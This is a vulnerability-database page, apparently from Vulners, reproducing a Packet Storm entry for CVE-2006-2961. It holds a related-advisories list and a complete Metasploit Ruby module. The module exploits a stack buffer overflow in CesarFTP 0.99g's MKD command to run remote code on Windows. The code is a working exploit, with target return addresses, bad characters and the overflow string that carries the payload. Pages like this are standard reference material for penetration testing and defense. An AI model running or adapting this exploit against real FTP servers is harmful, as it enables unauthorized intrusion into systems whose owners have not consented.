Lucene search
K

Cesar FTP 0.99g MKD Command Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by MCType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 46 Views

Cesar FTP 0.99g MKD Command Buffer Overflow in stack causes remote code execution on Windows platform

Related
Code
ReporterTitlePublishedViews
Family
0day.today
CesarFTP 0.99g - XCWD Denial of Service
19 Jan 201600:00
zdt
canvas
Immunity Canvas: CESARFTP
12 Jun 200620:06
canvas
Tenable Nessus
CesarFTP Multiple Vulnerabilities (OF, File Access, more)
18 Jun 200300:00
nessus
Circl
CVE-2006-2961
23 Feb 201100:00
circl
Check Point Advisories
Preemptive Protection against CesarFTP and XM Easy Personal FTP Server Buffer Overflow Vulnerabilities
20 Jul 200600:00
checkpoint_advisories
CVE
CVE-2006-2961
12 Jun 200620:00
cve
Cvelist
CVE-2006-2961
12 Jun 200620:00
cvelist
Exploit DB
CesarFTP 0.99g - 'MKD' Remote Buffer Overflow (Metasploit) (2)
23 Feb 201100:00
exploitdb
Metasploit
Cesar FTP 0.99g MKD Command Buffer Overflow
12 Nov 200615:57
metasploit
NVD
CVE-2006-2961
12 Jun 200620:06
nvd
Rows per page
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-2961'],  
[ 'OSVDB', '26364'],  
[ 'BID', '18586'],  
[ 'URL', 'http://secunia.com/advisories/20574/' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 250,  
'BadChars' => "\x00\x20\x0a\x0d",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],  
[ 'Windows 2000 Pro SP4 French', { 'Ret' => 0x775F29D0 } ],  
[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ],  
[ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ],  
],  
'DisclosureDate' => 'Jun 12 2006',  
'DefaultTarget' => 0))  
end  
  
def check  
connect  
disconnect   
  
if (banner =~ /CesarFTP 0\.99g/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect_login  
  
sploit = "\n" * 671 + rand_text_english(3, payload_badchars)   
sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded   
  
print_status("Trying target #{target.name}...")  
  
send_cmd( ['MKD', sploit] , false)  
  
handler  
disconnect  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Nov 2009 00:00Current
0.8Low risk
Vulners AI Score0.8
EPSS0.83469
46